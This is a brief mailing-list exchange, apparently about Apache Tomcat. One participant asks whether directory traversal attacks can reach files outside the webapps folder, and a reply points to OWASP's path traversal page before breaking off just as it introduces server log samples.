Hi Andre,

Agree with your points.

Just wanted to know more about  “Directory Traversal Attack".
Can it lead to access of directories outside Tomcat/webapps folder also
  or can it just try to access the applications within Tomcat/webapps
folder only?


Thanks & Regards,
Aditi

Hi everyone,
OWASP maintains some nice resources about path traversal attacks. A nice starting point is the following:
https://www.owasp.org/index.php/Path_Traversal


And for anyone that would think that this is not a genuine concern, here are a few recent samples from a logfile of one of our servers (among many, many similar ones) :
